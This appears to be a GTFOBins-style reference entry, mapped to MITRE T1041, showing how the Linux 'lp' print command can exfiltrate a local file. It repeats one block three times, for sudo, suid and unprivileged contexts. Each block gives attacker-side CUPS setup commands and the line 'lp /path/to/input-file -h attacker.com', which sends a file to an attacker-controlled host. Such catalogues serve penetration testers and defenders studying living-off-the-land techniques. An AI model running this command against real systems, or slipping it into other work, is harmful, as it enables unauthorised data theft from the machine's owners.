lp

This requires `cups` to be installed. Run the following on the attacker box beforehand: 1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer; 2. `lpadmin -d printer` to set the new printer as default; 3. `cupsctl --remote-any` to enable printing from the Internet.

lp /path/to/input-file -h attacker.com

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

upload

MITRE

T1041

Refs

gtfobins.github.io/gtfobins/lp/

This requires `cups` to be installed. Run the following on the attacker box beforehand: 1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer; 2. `lpadmin -d printer` to set the new printer as default; 3. `cupsctl --remote-any` to enable printing from the Internet.

lp /path/to/input-file -h attacker.com

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

suid

Native

upload

MITRE

T1041

Refs

gtfobins.github.io/gtfobins/lp/

This requires `cups` to be installed. Run the following on the attacker box beforehand: 1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer; 2. `lpadmin -d printer` to set the new printer as default; 3. `cupsctl --remote-any` to enable printing from the Internet.

lp /path/to/input-file -h attacker.com

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

upload

MITRE

T1041

Refs

gtfobins.github.io/gtfobins/lp/